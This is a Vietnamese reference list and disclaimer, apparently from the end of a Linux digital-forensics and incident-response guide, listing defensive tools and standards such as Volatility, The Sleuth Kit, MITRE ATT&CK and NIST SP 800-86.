Tài liệu tham khảo & Đọc thêm

- ▶ Microsoft Sysinternals – Bộ công cụ chính thức (bối cảnh ứng phó sự cố đa nền tảng) — <https://learn.microsoft.com/en-us/sysinternals/>
- ▶ The Sleuth Kit (TSK) – Công cụ điều tra hệ thống tệp & đồng thời gian mã nguồn mở — <https://www.sleuthkit.org/>
- ▶ Volatility Foundation – Framework điều tra bộ nhớ Volatility 3 — <https://volatilityfoundation.org/>
- ▶ LiME (Linux Memory Extractor) – Kho GitHub — <https://github.com/504ensicsLabs/LiME>
- ▶ SANS Institute – Tài nguyên Điều tra số & Ứng phó sự cố (DFIR) — <https://www.sans.org/digital-forensics-incident-response/>
- ▶ SANS – Poster & Cheat Sheet về Linux Forensics & Incident Response — <https://www.sans.org/posters/>
- ▶ Red Hat – Tài liệu Auditd và hệ thống Audit của Linux — https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/
- ▶ freedesktop.org – Tài liệu systemd Journal (journalctl) — <https://www.freedesktop.org/software/systemd/man/journalctl.html>
- ▶ freedesktop.org – Tài liệu Tệp Unit của systemd — <https://www.freedesktop.org/software/systemd/man/systemd.unit.html>
- ▶ MITRE ATT&CK Framework – Kỹ thuật Persistence & Defense Evasion trên Linux — <https://attack.mitre.org/matrices/enterprise/linux/>
- ▶ NIST – Hướng dẫn Tích hợp Kỹ thuật Điều tra vào Ứng phó sự cố (SP 800-86) — <https://csrc.nist.gov/publications/detail/sp/800-86/final>
- ▶ Chkrootkit – Công cụ phát hiện rootkit trên Linux mã nguồn mở — <https://www.chkrootkit.org/>
- ▶ Rootkit Hunter (rkhunter) – Trang dự án chính thức — <https://rkhunter.sourceforge.net/>
- ▶ Linux man-pages Project – auditd(8), journalctl(1), crontab(5), proc(5) — <https://man7.org/linux/man-pages/>
- ▶ CISA – Khuyến cáo an ninh mạng & Hướng dẫn ứng phó sự cố — <https://www.cisa.gov/news-events/cybersecurity-advisories>

MIỄN TRỪ TRÁCH NHIỆM

Tài liệu này chỉ dành cho mục đích hợp pháp, có đạo đức, giáo dục và phòng thủ — như điều tra số, ứng phó sự cố và đào tạo phân tích mã độc. Hãy luôn làm việc trên bản sao pháp y hoặc ảnh đĩa/bộ nhớ thay vì chứng cứ gốc bất cứ khi nào có thể, duy trì chuỗi hành trình chứng cứ đúng cách, và tuân thủ chính sách của tổ chức cùng pháp luật hiện hành.

Bản tiếng Việt được biên soạn và chuẩn hoá thuật ngữ để chia sẻ cộng đồng.
 Nội dung gốc: Ganesha T — Cyber Security Consultant | Threat Hunter.